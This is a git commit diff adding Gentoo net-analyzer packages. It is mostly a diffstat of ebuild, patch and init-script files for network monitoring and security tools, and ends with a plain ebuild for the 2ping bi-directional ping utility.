-rw-r--r--net-analyzer/sflowtool/metadata.xml5
-rw-r--r--net-analyzer/sflowtool/sflowtool-3.32.ebuild20
-rw-r--r--net-analyzer/sflowtool/sflowtool-3.33.ebuild20
-rw-r--r--net-analyzer/sflowtool/sflowtool-3.34.ebuild20
-rw-r--r--net-analyzer/sflowtool/sflowtool-3.35.ebuild20
-rw-r--r--net-analyzer/sguil-client/Manifest2
-rw-r--r--net-analyzer/sguil-client/metadata.xml8
-rw-r--r--net-analyzer/sguil-client/sguil-client-0.8.0.ebuild50
-rw-r--r--net-analyzer/sguil-client/sguil-client-0.9.0.ebuild48
-rw-r--r--net-analyzer/sguil-sensor/Manifest2
-rw-r--r--net-analyzer/sguil-sensor/files/log_packets.confd18
-rw-r--r--net-analyzer/sguil-sensor/files/log_packets.initd92
-rw-r--r--net-analyzer/sguil-sensor/files/sensor_agent.initd30
-rw-r--r--net-analyzer/sguil-sensor/metadata.xml8
-rw-r--r--net-analyzer/sguil-sensor/sguil-sensor-0.8.0.ebuild81
-rw-r--r--net-analyzer/sguil-sensor/sguil-sensor-0.9.0.ebuild81
-rw-r--r--net-analyzer/sguil-server/Manifest2
-rw-r--r--net-analyzer/sguil-server/files/sguild.confd25
-rwxr-xr-xnet-analyzer/sguil-server/files/sguild.initd45
-rw-r--r--net-analyzer/sguil-server/metadata.xml8
-rw-r--r--net-analyzer/sguil-server/sguil-server-0.8.0.ebuild100
-rw-r--r--net-analyzer/sguil-server/sguil-server-0.9.0.ebuild100
-rw-r--r--net-analyzer/sinfo/Manifest1
-rw-r--r--net-analyzer/sinfo/files/sinfo-0.0.47-tinfo.patch14
-rw-r--r--net-analyzer/sinfo/files/sinfo-0.0.48-acinclude.m4508
-rw-r--r--net-analyzer/sinfo/files/sinfod.confd4
-rw-r--r--net-analyzer/sinfo/files/sinfod.initd11
-rw-r--r--net-analyzer/sinfo/metadata.xml5
-rw-r--r--net-analyzer/sinfo/sinfo-0.0.48.ebuild44
-rw-r--r--net-analyzer/siphon/Manifest1
-rw-r--r--net-analyzer/siphon/files/siphon-666-gentoo.patch19
-rw-r--r--net-analyzer/siphon/files/siphon-666-log.patch46
-rw-r--r--net-analyzer/siphon/metadata.xml5
-rw-r--r--net-analyzer/siphon/siphon-666-r1.ebuild36
-rw-r--r--net-analyzer/slurm/Manifest1
-rw-r--r--net-analyzer/slurm/files/slurm-0.3.3-gentoo.patch48
-rw-r--r--net-analyzer/slurm/files/slurm-0.3.3-overflow.patch17
-rw-r--r--net-analyzer/slurm/files/slurm-0.3.3-theme.patch16
-rw-r--r--net-analyzer/slurm/metadata.xml5
-rw-r--r--net-analyzer/slurm/slurm-0.3.3-r1.ebuild40
-rw-r--r--net-analyzer/slurm/slurm-0.3.3-r2.ebuild38
-rw-r--r--net-analyzer/smokeping/Manifest3
-rw-r--r--net-analyzer/smokeping/files/79_smokeping.conf15
-rw-r--r--net-analyzer/smokeping/files/smokeping-2.6.9-pod.patch11
-rw-r--r--net-analyzer/smokeping/files/smokeping.conf1
-rwxr-xr-xnet-analyzer/smokeping/files/smokeping.init.377
-rw-r--r--net-analyzer/smokeping/files/smokeping.init.475
-rw-r--r--net-analyzer/smokeping/files/smokeping.service10
-rw-r--r--net-analyzer/smokeping/metadata.xml11
-rw-r--r--net-analyzer/smokeping/smokeping-2.6.10.ebuild140
-rw-r--r--net-analyzer/smokeping/smokeping-2.6.11.ebuild142
-rw-r--r--net-analyzer/smokeping/smokeping-2.6.9.ebuild145
-rw-r--r--net-analyzer/sniffit/Manifest1
-rw-r--r--net-analyzer/sniffit/files/sniffit-0.3.7-gentoo.patch31
-rw-r--r--net-analyzer/sniffit/files/sniffit-0.3.7-misc.patch120
-rw-r--r--net-analyzer/sniffit/files/sniffit-0.3.7-tinfo.patch38
-rw-r--r--net-analyzer/sniffit/metadata.xml5
-rw-r--r--net-analyzer/sniffit/sniffit-0.3.7-r4.ebuild41
-rw-r--r--net-analyzer/snips/Manifest1
-rw-r--r--net-analyzer/snips/files/snips-1.2-code-ordering.patch25
-rw-r--r--net-analyzer/snips/files/snips-1.2-conflicting-types.patch52
-rw-r--r--net-analyzer/snips/files/snips-1.2-destdir-awareness.patch402
-rw-r--r--net-analyzer/snips/files/snips-1.2-etherload-makefile-ordering.patch12
-rw-r--r--net-analyzer/snips/files/snips-1.2-implicit-declarations.patch130
-rw-r--r--net-analyzer/snips/files/snips-1.2-install-missing.patch33
-rw-r--r--net-analyzer/snips/files/snips-1.2-ldflags-respect.patch184
-rw-r--r--net-analyzer/snips/files/snips-1.2-link-correct-snmp-lib.patch12
-rw-r--r--net-analyzer/snips/files/snips-1.2-linux3.patch26
-rw-r--r--net-analyzer/snips/files/snips-1.2-non-interactive.patch93
-rw-r--r--net-analyzer/snips/files/snips-1.2-nsmon-libresolv.patch15
-rw-r--r--net-analyzer/snips/files/snips-1.2-parallel-make.patch23
-rw-r--r--net-analyzer/snips/files/snips-1.2-r2-precache-config23
-rw-r--r--net-analyzer/snips/files/snips-1.2-trapmon-link-order.patch12
-rw-r--r--net-analyzer/snips/metadata.xml8
-rw-r--r--net-analyzer/snips/snips-1.2-r2.ebuild73
-rw-r--r--net-analyzer/snips/snips-1.2-r3.ebuild81
-rw-r--r--net-analyzer/snmptt/Manifest2
-rw-r--r--net-analyzer/snmptt/files/snmptt.initd20
-rw-r--r--net-analyzer/snmptt/files/snmptt.initd-r120
-rw-r--r--net-analyzer/snmptt/metadata.xml9
-rw-r--r--net-analyzer/snmptt/snmptt-1.2.ebuild60
-rw-r--r--net-analyzer/snmptt/snmptt-1.4.ebuild53
-rw-r--r--net-analyzer/snort/Manifest9
-rw-r--r--net-analyzer/snort/files/snort.confd.216
-rw-r--r--net-analyzer/snort/files/snort.rc1261
-rw-r--r--net-analyzer/snort/metadata.xml136
-rw-r--r--net-analyzer/snort/snort-2.9.4.6-r1.ebuild252
-rw-r--r--net-analyzer/snort/snort-2.9.5.6.ebuild251
-rw-r--r--net-analyzer/snort/snort-2.9.6.0.ebuild252
-rw-r--r--net-analyzer/snort/snort-2.9.6.1.ebuild252
-rw-r--r--net-analyzer/snort/snort-2.9.6.2.ebuild252
-rw-r--r--net-analyzer/snort/snort-2.9.7.0.ebuild250
-rw-r--r--net-analyzer/snort/snort-2.9.7.2.ebuild250
-rw-r--r--net-analyzer/snort/snort-2.9.7.3.ebuild250
-rw-r--r--net-analyzer/snort/snort-2.9.7.5.ebuild250
-rw-r--r--net-analyzer/snortalog/Manifest1
-rw-r--r--net-analyzer/snortalog/metadata.xml5
-rw-r--r--net-analyzer/snortalog/snortalog-2.4.3-r1.ebuild57
-rw-r--r--net-analyzer/snortsam/Manifest3
-rw-r--r--net-analyzer/snortsam/files/snortsam-2.70-gentoo.patch140
-rw-r--r--net-analyzer/snortsam/metadata.xml5
-rw-r--r--net-analyzer/snortsam/snortsam-2.50-r1.ebuild48
-rw-r--r--net-analyzer/snortsam/snortsam-2.70.ebuild46
-rw-r--r--net-analyzer/softflowd/Manifest1
-rw-r--r--net-analyzer/softflowd/files/softflowd-0.9.9-_GNU_SOURCE.patch13
-rw-r--r--net-analyzer/softflowd/files/softflowd-0.9.9-no-strip.patch12
-rw-r--r--net-analyzer/softflowd/files/softflowd.confd9
-rw-r--r--net-analyzer/softflowd/files/softflowd.initd54
-rw-r--r--net-analyzer/softflowd/metadata.xml8
-rw-r--r--net-analyzer/softflowd/softflowd-0.9.9-r1.ebuild33
-rw-r--r--net-analyzer/speedtest-cli/Manifest2
-rw-r--r--net-analyzer/speedtest-cli/metadata.xml14
-rw-r--r--net-analyzer/speedtest-cli/speedtest-cli-0.2.4.ebuild19
-rw-r--r--net-analyzer/speedtest-cli/speedtest-cli-0.2.5.ebuild27
-rw-r--r--net-analyzer/sqlninja/Manifest1
-rw-r--r--net-analyzer/sqlninja/files/sqlninja4
-rw-r--r--net-analyzer/sqlninja/metadata.xml12
-rw-r--r--net-analyzer/sqlninja/sqlninja-0.2.6_p1-r1.ebuild54
-rw-r--r--net-analyzer/squid-graph/Manifest1
-rw-r--r--net-analyzer/squid-graph/metadata.xml9
-rw-r--r--net-analyzer/squid-graph/squid-graph-3.2-r1.ebuild23
-rw-r--r--net-analyzer/squidsites/Manifest1
-rw-r--r--net-analyzer/squidsites/files/squidsites-1.01-format-security.patch11
-rw-r--r--net-analyzer/squidsites/metadata.xml5
-rw-r--r--net-analyzer/squidsites/squidsites-1.01-r2.ebuild34
-rw-r--r--net-analyzer/squidview/Manifest1
-rw-r--r--net-analyzer/squidview/metadata.xml5
-rw-r--r--net-analyzer/squidview/squidview-0.80.ebuild26
-rw-r--r--net-analyzer/ssldump/Manifest1
-rw-r--r--net-analyzer/ssldump/files/ssldump-0.9-DLT_LINUX_SLL.patch13
-rw-r--r--net-analyzer/ssldump/files/ssldump-0.9-configure-dylib.patch28
-rw-r--r--net-analyzer/ssldump/files/ssldump-0.9-declaration.patch11
-rw-r--r--net-analyzer/ssldump/files/ssldump-0.9-includes.patch30
-rw-r--r--net-analyzer/ssldump/files/ssldump-0.9-libpcap-header.patch10
-rw-r--r--net-analyzer/ssldump/files/ssldump-0.9-openssl-0.9.8.compile-fix.patch18
-rw-r--r--net-analyzer/ssldump/files/ssldump-0.9-prefix-fix.patch22
-rw-r--r--net-analyzer/ssldump/metadata.xml5
-rw-r--r--net-analyzer/ssldump/ssldump-0.9-r2.ebuild65
-rw-r--r--net-analyzer/sslscan/Manifest1
-rw-r--r--net-analyzer/sslscan/files/sslscan-1.8.2-makefile.patch11
-rw-r--r--net-analyzer/sslscan/metadata.xml10
-rw-r--r--net-analyzer/sslscan/sslscan-1.8.2.ebuild35
-rw-r--r--net-analyzer/sslsniff/Manifest1
-rw-r--r--net-analyzer/sslsniff/files/sslsniff-0.6-asneeded.patch10
-rw-r--r--net-analyzer/sslsniff/files/sslsniff-0.8-fix-compatibility-with-boost-1.47-and-higher.patch53
-rw-r--r--net-analyzer/sslsniff/files/sslsniff-0.8-underlinking.patch21
-rw-r--r--net-analyzer/sslsniff/metadata.xml15
-rw-r--r--net-analyzer/sslsniff/sslsniff-0.8-r1.ebuild47
-rw-r--r--net-analyzer/ssmping/Manifest1
-rw-r--r--net-analyzer/ssmping/files/ssmping-0.9-build.patch23
-rw-r--r--net-analyzer/ssmping/metadata.xml10
-rw-r--r--net-analyzer/ssmping/ssmping-0.9.1.ebuild24
-rw-r--r--net-analyzer/symon/Manifest2
-rw-r--r--net-analyzer/symon/files/symon-2.86-perl-5.18.patch38
-rw-r--r--net-analyzer/symon/files/symon-init.d33
-rw-r--r--net-analyzer/symon/files/symon.conf14
-rw-r--r--net-analyzer/symon/files/symux-init.d33
-rw-r--r--net-analyzer/symon/files/symux.conf35
-rw-r--r--net-analyzer/symon/metadata.xml12
-rw-r--r--net-analyzer/symon/symon-2.86-r1.ebuild110
-rw-r--r--net-analyzer/symon/symon-2.87.ebuild107
-rw-r--r--net-analyzer/synscan/Manifest1
-rw-r--r--net-analyzer/synscan/files/synscan-5.01-build.patch79
-rw-r--r--net-analyzer/synscan/metadata.xml8
-rw-r--r--net-analyzer/synscan/synscan-5.01.ebuild36
-rw-r--r--net-analyzer/syweb/Manifest1
-rw-r--r--net-analyzer/syweb/files/postinstall-en.txt8
-rw-r--r--net-analyzer/syweb/files/reconfig20
-rw-r--r--net-analyzer/syweb/metadata.xml5
-rw-r--r--net-analyzer/syweb/syweb-0.65.ebuild43
-rw-r--r--net-analyzer/tcpdump/Manifest1
-rw-r--r--net-analyzer/tcpdump/metadata.xml9
-rw-r--r--net-analyzer/tcpdump/tcpdump-4.7.4.ebuild93
-rw-r--r--net-analyzer/tcpdump/tcpdump-9999.ebuild92
-rw-r--r--net-analyzer/tcpflow/Manifest3
-rw-r--r--net-analyzer/tcpflow/metadata.xml11
-rw-r--r--net-analyzer/tcpflow/tcpflow-1.3.0.ebuild23
-rw-r--r--net-analyzer/tcpflow/tcpflow-1.4.4_p3.ebuild53
-rw-r--r--net-analyzer/tcping/Manifest1
-rw-r--r--net-analyzer/tcping/metadata.xml8
-rw-r--r--net-analyzer/tcping/tcping-1.3.5.ebuild30
-rw-r--r--net-analyzer/tcpreen/Manifest1
-rw-r--r--net-analyzer/tcpreen/metadata.xml5
-rw-r--r--net-analyzer/tcpreen/tcpreen-1.4.4.ebuild27
-rw-r--r--net-analyzer/tcpreplay/Manifest2
-rw-r--r--net-analyzer/tcpreplay/files/tcpreplay-4.1.0-enable-pcap_findalldevs.patch19
-rw-r--r--net-analyzer/tcpreplay/metadata.xml20
-rw-r--r--net-analyzer/tcpreplay/tcpreplay-4.0.5-r1.ebuild74
-rw-r--r--net-analyzer/tcpreplay/tcpreplay-4.1.0-r1.ebuild73
-rw-r--r--net-analyzer/tcpslice/Manifest2
-rw-r--r--net-analyzer/tcpslice/files/tcpslice-1.2a_p3-exit.patch10
-rw-r--r--net-analyzer/tcpslice/metadata.xml8
-rw-r--r--net-analyzer/tcpslice/tcpslice-1.2a_p3-r1.ebuild34
-rw-r--r--net-analyzer/tcpstat/Manifest1
-rw-r--r--net-analyzer/tcpstat/files/tcpstat-1.5-db.patch165
-rw-r--r--net-analyzer/tcpstat/metadata.xml5
-rw-r--r--net-analyzer/tcpstat/tcpstat-1.5-r1.ebuild37
-rw-r--r--net-analyzer/tcpstat/tcpstat-1.5-r2.ebuild35
-rw-r--r--net-analyzer/tcpstat/tcpstat-1.5.ebuild25
-rw-r--r--net-analyzer/tcptrace/Manifest1
-rw-r--r--net-analyzer/tcptrace/files/tcptrace-6.6.7-cross-compile.patch50
-rw-r--r--net-analyzer/tcptrace/metadata.xml5
-rw-r--r--net-analyzer/tcptrace/tcptrace-6.6.7-r2.ebuild48
-rw-r--r--net-analyzer/tcptraceroute/Manifest2
-rw-r--r--net-analyzer/tcptraceroute/files/tcptraceroute-1.5_beta7-cross-compile-checks.patch62
-rw-r--r--net-analyzer/tcptraceroute/metadata.xml8
-rw-r--r--net-analyzer/tcptraceroute/tcptraceroute-1.5_beta7-r1.ebuild34
-rw-r--r--net-analyzer/tcptraceroute/tcptraceroute-1.5_beta7-r2.ebuild41
-rw-r--r--net-analyzer/tcptrack/Manifest1
-rw-r--r--net-analyzer/tcptrack/files/tcptrack-1.4.2-tinfo.patch11
-rw-r--r--net-analyzer/tcptrack/metadata.xml5
-rw-r--r--net-analyzer/tcptrack/tcptrack-1.4.2.ebuild29
-rw-r--r--net-analyzer/thc-ipv6/Manifest3
-rw-r--r--net-analyzer/thc-ipv6/files/thc-ipv6-2.1-Makefile.patch24
-rw-r--r--net-analyzer/thc-ipv6/metadata.xml9
-rw-r--r--net-analyzer/thc-ipv6/thc-ipv6-2.3.ebuild37
-rw-r--r--net-analyzer/thc-ipv6/thc-ipv6-2.5.ebuild37
-rw-r--r--net-analyzer/thc-ipv6/thc-ipv6-2.7.ebuild37
-rw-r--r--net-analyzer/thcrut/Manifest1
-rw-r--r--net-analyzer/thcrut/files/thcrut-1.2.5-configure.patch42
-rw-r--r--net-analyzer/thcrut/files/thcrut-1.2.5-libnet.patch65
-rw-r--r--net-analyzer/thcrut/metadata.xml5
-rw-r--r--net-analyzer/thcrut/thcrut-1.2.5-r1.ebuild30
-rw-r--r--net-analyzer/thrulay/Manifest1
-rw-r--r--net-analyzer/thrulay/files/thrulayd-conf.d9
-rw-r--r--net-analyzer/thrulay/files/thrulayd-init.d22
-rw-r--r--net-analyzer/thrulay/metadata.xml10
-rw-r--r--net-analyzer/thrulay/thrulay-0.9-r1.ebuild31
-rw-r--r--net-analyzer/tleds/Manifest2
-rw-r--r--net-analyzer/tleds/files/tleds-1.05_beta11-gentoo.patch53
-rw-r--r--net-analyzer/tleds/files/tleds.conf.d7
-rw-r--r--net-analyzer/tleds/files/tleds.init.d22
-rw-r--r--net-analyzer/tleds/metadata.xml5
-rw-r--r--net-analyzer/tleds/tleds-1.05_beta11-r2.ebuild45
-rw-r--r--net-analyzer/tptest/Manifest1
-rw-r--r--net-analyzer/tptest/files/tptest-3.1.7-getstatsfromlinevuln.patch150
-rw-r--r--net-analyzer/tptest/metadata.xml8
-rw-r--r--net-analyzer/tptest/tptest-3.1.7-r2.ebuild44
-rw-r--r--net-analyzer/tracebox/Manifest1
-rw-r--r--net-analyzer/tracebox/files/tracebox-0.2-deps.patch30
-rw-r--r--net-analyzer/tracebox/metadata.xml8
-rw-r--r--net-analyzer/tracebox/tracebox-0.2.ebuild51
-rw-r--r--net-analyzer/traceproto/Manifest1
-rw-r--r--net-analyzer/traceproto/files/traceproto-1.1.2_beta1-tinfo.patch17
-rw-r--r--net-analyzer/traceproto/metadata.xml5
-rw-r--r--net-analyzer/traceproto/traceproto-1.1.2_beta1.ebuild42
-rw-r--r--net-analyzer/traceroute-nanog/Manifest2
-rw-r--r--net-analyzer/traceroute-nanog/metadata.xml5
-rw-r--r--net-analyzer/traceroute-nanog/traceroute-nanog-6.4.2-r1.ebuild40
-rw-r--r--net-analyzer/traceroute/Manifest4
-rw-r--r--net-analyzer/traceroute/metadata.xml9
-rw-r--r--net-analyzer/traceroute/traceroute-2.0.18.ebuild32
-rw-r--r--net-analyzer/traceroute/traceroute-2.0.19-r1.ebuild36
-rw-r--r--net-analyzer/traceroute/traceroute-2.0.19.ebuild31
-rw-r--r--net-analyzer/traceroute/traceroute-2.0.20.ebuild37
-rw-r--r--net-analyzer/traceroute/traceroute-2.0.21.ebuild32
-rw-r--r--net-analyzer/trafshow/Manifest1
-rw-r--r--net-analyzer/trafshow/files/trafshow-5.2.3-gcc44.patch11
-rw-r--r--net-analyzer/trafshow/files/trafshow-5.2.3-gentoo.patch15
-rw-r--r--net-analyzer/trafshow/files/trafshow-5.2.3-tinfo.patch75
-rw-r--r--net-analyzer/trafshow/metadata.xml5
-rw-r--r--net-analyzer/trafshow/trafshow-5.2.3.ebuild40
-rw-r--r--net-analyzer/tsung/Manifest2
-rw-r--r--net-analyzer/tsung/metadata.xml8
-rw-r--r--net-analyzer/tsung/tsung-1.5.1.ebuild34
-rw-r--r--net-analyzer/tsung/tsung-1.6.0.ebuild34
-rw-r--r--net-analyzer/ttcp/Manifest2
-rw-r--r--net-analyzer/ttcp/files/ttcp-1.12-amd64.patch217
-rw-r--r--net-analyzer/ttcp/metadata.xml5
-rw-r--r--net-analyzer/ttcp/ttcp-1.12-r2.ebuild28
-rw-r--r--net-analyzer/upnpscan/Manifest1
-rw-r--r--net-analyzer/upnpscan/files/upnpscan-0.4-r2-cflags.patch51
-rw-r--r--net-analyzer/upnpscan/metadata.xml10
-rw-r--r--net-analyzer/upnpscan/upnpscan-0.4-r3.ebuild24
-rw-r--r--net-analyzer/vnstat/Manifest4
-rw-r--r--net-analyzer/vnstat/files/vnstat.cron9
-rw-r--r--net-analyzer/vnstat/files/vnstatd.confd7
-rw-r--r--net-analyzer/vnstat/files/vnstatd.initd37
-rw-r--r--net-analyzer/vnstat/files/vnstatd.initd-r138
-rw-r--r--net-analyzer/vnstat/metadata.xml11
-rw-r--r--net-analyzer/vnstat/vnstat-1.11-r2.ebuild78
-rw-r--r--net-analyzer/vnstat/vnstat-1.12.ebuild85
-rw-r--r--net-analyzer/vnstat/vnstat-1.13.ebuild70
-rw-r--r--net-analyzer/vnstat/vnstat-1.14.ebuild70
-rw-r--r--net-analyzer/w3af/Manifest2
-rw-r--r--net-analyzer/w3af/files/use_simplejson_instead_of_jsonpy.patch105
-rw-r--r--net-analyzer/w3af/files/w3af_console3
-rw-r--r--net-analyzer/w3af/files/w3af_gui3
-rw-r--r--net-analyzer/w3af/metadata.xml15
-rw-r--r--net-analyzer/w3af/w3af-1.1-r1.ebuild71
-rw-r--r--net-analyzer/w3af/w3af-1.5.ebuild77
-rw-r--r--net-analyzer/wapiti/Manifest1
-rw-r--r--net-analyzer/wapiti/metadata.xml13
-rw-r--r--net-analyzer/wapiti/wapiti-2.3.0.ebuild23
-rw-r--r--net-analyzer/wapiti/wapiti-9999.ebuild24
-rw-r--r--net-analyzer/webfuzzer/Manifest1
-rw-r--r--net-analyzer/webfuzzer/metadata.xml5
-rw-r--r--net-analyzer/webfuzzer/webfuzzer-0.2.0-r1.ebuild32
-rw-r--r--net-analyzer/wireshark/Manifest2
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.11.0-oldlibs.patch20
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.11.3-gtk-deprecated-warnings.patch29
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.12.5-cross-compile.patch51
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.12.6-rcc.patch52
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.6.13-ldflags.patch14
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.99.0-qt5.patch88
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.99.0.1975-sse4_2.patch20
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.99.1-sbc.patch18
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.99.6-gcc_option.patch40
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.99.7-qt-pie.patch11
-rw-r--r--net-analyzer/wireshark/files/wireshark-1.99.8-qtchooser.patch10
-rw-r--r--net-analyzer/wireshark/files/wireshark-99999999-pkgconfig.patch62
-rw-r--r--net-analyzer/wireshark/metadata.xml38
-rw-r--r--net-analyzer/wireshark/wireshark-1.12.6.ebuild258
-rw-r--r--net-analyzer/wireshark/wireshark-1.99.8.ebuild264
-rw-r--r--net-analyzer/wireshark/wireshark-99999999.ebuild267
-rw-r--r--net-analyzer/xnetload/Manifest1
-rw-r--r--net-analyzer/xnetload/metadata.xml5
-rw-r--r--net-analyzer/xnetload/xnetload-1.11.3-r1.ebuild42
-rw-r--r--net-analyzer/xprobe/Manifest1
-rw-r--r--net-analyzer/xprobe/files/xprobe-0.3-gcc43.patch29
-rw-r--r--net-analyzer/xprobe/metadata.xml14
-rw-r--r--net-analyzer/xprobe/xprobe-0.3.ebuild31
-rw-r--r--net-analyzer/yersinia/Manifest1
-rw-r--r--net-analyzer/yersinia/files/yersinia-0.7.1-no-ncurses.patch13
-rw-r--r--net-analyzer/yersinia/files/yersinia-0.7.3-tinfo.patch27
-rw-r--r--net-analyzer/yersinia/metadata.xml10
-rw-r--r--net-analyzer/yersinia/yersinia-0.7.3.ebuild54
-rw-r--r--net-analyzer/zabbix/Manifest3
-rw-r--r--net-analyzer/zabbix/files/1.4.6/init.d/zabbix-agentd22
-rw-r--r--net-analyzer/zabbix/files/1.4.6/init.d/zabbix-server21
-rw-r--r--net-analyzer/zabbix/files/1.4.6/postinstall-en.txt8
-rw-r--r--net-analyzer/zabbix/files/1.4.6/zabbix_agent.conf25
-rw-r--r--net-analyzer/zabbix/files/1.4.6/zabbix_agentd.conf70
-rw-r--r--net-analyzer/zabbix/files/1.4.6/zabbix_server.conf98
-rw-r--r--net-analyzer/zabbix/files/1.6.5/init.d/zabbix-agentd22
-rw-r--r--net-analyzer/zabbix/files/1.6.5/init.d/zabbix-server21
-rw-r--r--net-analyzer/zabbix/files/1.6.5/postinstall-en.txt8
-rw-r--r--net-analyzer/zabbix/files/1.6.5/zabbix_agent.conf27
-rw-r--r--net-analyzer/zabbix/files/1.6.5/zabbix_agentd.conf90
-rw-r--r--net-analyzer/zabbix/files/1.6.5/zabbix_proxy.conf175
-rw-r--r--net-analyzer/zabbix/files/1.6.5/zabbix_server.conf155
-rw-r--r--net-analyzer/zabbix/files/1.6.5/zabbix_trapper.conf44
-rw-r--r--net-analyzer/zabbix/files/1.6.6/init.d/zabbix-agentd22
-rw-r--r--net-analyzer/zabbix/files/1.6.6/init.d/zabbix-proxy21
-rw-r--r--net-analyzer/zabbix/files/1.6.6/init.d/zabbix-server21
-rw-r--r--net-analyzer/zabbix/files/1.6.6/postinstall-en.txt8
-rw-r--r--net-analyzer/zabbix/files/1.6.6/zabbix_agent.conf27
-rw-r--r--net-analyzer/zabbix/files/1.6.6/zabbix_agentd.conf90
-rw-r--r--net-analyzer/zabbix/files/1.6.6/zabbix_proxy.conf175
-rw-r--r--net-analyzer/zabbix/files/1.6.6/zabbix_server.conf155
-rw-r--r--net-analyzer/zabbix/files/1.6.6/zabbix_trapper.conf44
-rw-r--r--net-analyzer/zabbix/files/2.0/init.d/zabbix-agentd29
-rw-r--r--net-analyzer/zabbix/files/2.0/init.d/zabbix-proxy28
-rw-r--r--net-analyzer/zabbix/files/2.0/init.d/zabbix-server27
-rw-r--r--net-analyzer/zabbix/files/2.0/patches/zbx282.patch182
-rw-r--r--net-analyzer/zabbix/files/2.0/patches/zbx6097.patch66
-rw-r--r--net-analyzer/zabbix/files/2.0/patches/zbx7479.patch83
-rw-r--r--net-analyzer/zabbix/files/2.0/zabbix_proxy.conf463
-rw-r--r--net-analyzer/zabbix/files/2.2/init.d/zabbix-agentd29
-rw-r--r--net-analyzer/zabbix/files/2.2/init.d/zabbix-proxy28
-rw-r--r--net-analyzer/zabbix/files/2.2/init.d/zabbix-server27
-rw-r--r--net-analyzer/zabbix/files/2.2/patches/zbx7479.patch83
-rw-r--r--net-analyzer/zabbix/files/2.2/patches/zbx8151.patch53
-rw-r--r--net-analyzer/zabbix/files/2.2/zabbix_agent.conf81
-rw-r--r--net-analyzer/zabbix/files/2.2/zabbix_agentd.conf278
-rw-r--r--net-analyzer/zabbix/files/2.2/zabbix_proxy.conf519
-rw-r--r--net-analyzer/zabbix/files/2.2/zabbix_server.conf546
-rw-r--r--net-analyzer/zabbix/files/2.4/init.d/zabbix-agentd29
-rw-r--r--net-analyzer/zabbix/files/2.4/init.d/zabbix-proxy28
-rw-r--r--net-analyzer/zabbix/files/2.4/init.d/zabbix-server27
-rw-r--r--net-analyzer/zabbix/files/2.4/patches/zbx7479.patch83
-rw-r--r--net-analyzer/zabbix/files/2.4/patches/zbx8151.patch53
-rw-r--r--net-analyzer/zabbix/files/2.4/zabbix_agent.conf81
-rw-r--r--net-analyzer/zabbix/files/2.4/zabbix_agentd.conf278
-rw-r--r--net-analyzer/zabbix/files/2.4/zabbix_proxy.conf519
-rw-r--r--net-analyzer/zabbix/files/2.4/zabbix_server.conf546
-rw-r--r--net-analyzer/zabbix/files/zabbix-1.8.9-as-needed.patch83
-rw-r--r--net-analyzer/zabbix/files/zabbix-agentd.service14
-rw-r--r--net-analyzer/zabbix/files/zabbix-agentd.tmpfiles1
-rw-r--r--net-analyzer/zabbix/files/zabbix-proxy.service14
-rw-r--r--net-analyzer/zabbix/files/zabbix-proxy.tmpfiles1
-rw-r--r--net-analyzer/zabbix/files/zabbix-server.service14
-rw-r--r--net-analyzer/zabbix/files/zabbix-server.tmpfiles1
-rw-r--r--net-analyzer/zabbix/metadata.xml27
-rw-r--r--net-analyzer/zabbix/zabbix-2.2.5.ebuild365
-rw-r--r--net-analyzer/zabbix/zabbix-2.2.9.ebuild363
-rw-r--r--net-analyzer/zabbix/zabbix-2.4.5.ebuild363
-rw-r--r--net-analyzer/zmap/Manifest4
-rw-r--r--net-analyzer/zmap/files/zmap-1.1.0-out-of-src.patch45
-rw-r--r--net-analyzer/zmap/files/zmap-1.1.1-json-c.patch28
-rw-r--r--net-analyzer/zmap/files/zmap-1.1.1-out-of-src.patch48
-rw-r--r--net-analyzer/zmap/files/zmap-9999-cmake.patch178
-rw-r--r--net-analyzer/zmap/files/zmap-9999-out-of-src.patch29
-rw-r--r--net-analyzer/zmap/metadata.xml24
-rw-r--r--net-analyzer/zmap/zmap-1.1.1.ebuild43
-rw-r--r--net-analyzer/zmap/zmap-1.1.2.ebuild43
-rw-r--r--net-analyzer/zmap/zmap-1.2.0.ebuild38
-rw-r--r--net-analyzer/zmap/zmap-1.2.1.ebuild39
-rw-r--r--net-analyzer/zmap/zmap-9999.ebuild41
-rw-r--r--net-analyzer/zniper/Manifest1
-rw-r--r--net-analyzer/zniper/metadata.xml5
-rw-r--r--net-analyzer/zniper/zniper-1.0-r1.ebuild46
1683 files changed, 67108 insertions, 0 deletions
diff --git a/net-analyzer/2ping/2ping-1.2.3.ebuild b/net-analyzer/2ping/2ping-1.2.3.ebuild
new file mode 100644
index 000000000000..ad1efe1932b9
--- /dev/null
+++ b/net-analyzer/2ping/2ping-1.2.3.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+DESCRIPTION="A bi-directional ping utility"
+HOMEPAGE="http://www.finnie.org/software/2ping/"
+SRC_URI="http://www.finnie.org/software/2ping/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="crc ipv6 md5 sha server"
+
+# The 2ping script itself checks if these optional deps are available.
+DEPEND="
+ dev-lang/perl
+ virtual/perl-Getopt-Long
+ virtual/perl-Pod-Parser
+ virtual/perl-IO
+ virtual/perl-Time-HiRes
+ ipv6? ( dev-perl/IO-Socket-INET6 )
+ md5? ( virtual/perl-Digest-MD5 )
+ sha? ( virtual/perl-Digest-SHA )
+ crc? ( dev-perl/Digest-CRC )
+"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ emake DESTDIR="${D}" PREFIX="/usr" install
+ dodoc ChangeLog README
+ use server && {
+ doinitd "${FILESDIR}"/2pingd
+ newconfd "${FILESDIR}"/2pingd.conf 2pingd
+ }
+}
diff --git a/net-analyzer/2ping/2ping-2.0.ebuild b/net-analyzer/2ping/2ping-2.0.ebuild
new file mode 100644
index 000000000000..ad1efe1932b9
--- /dev/null
+++ b/net-analyzer/2ping/2ping-2.0.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
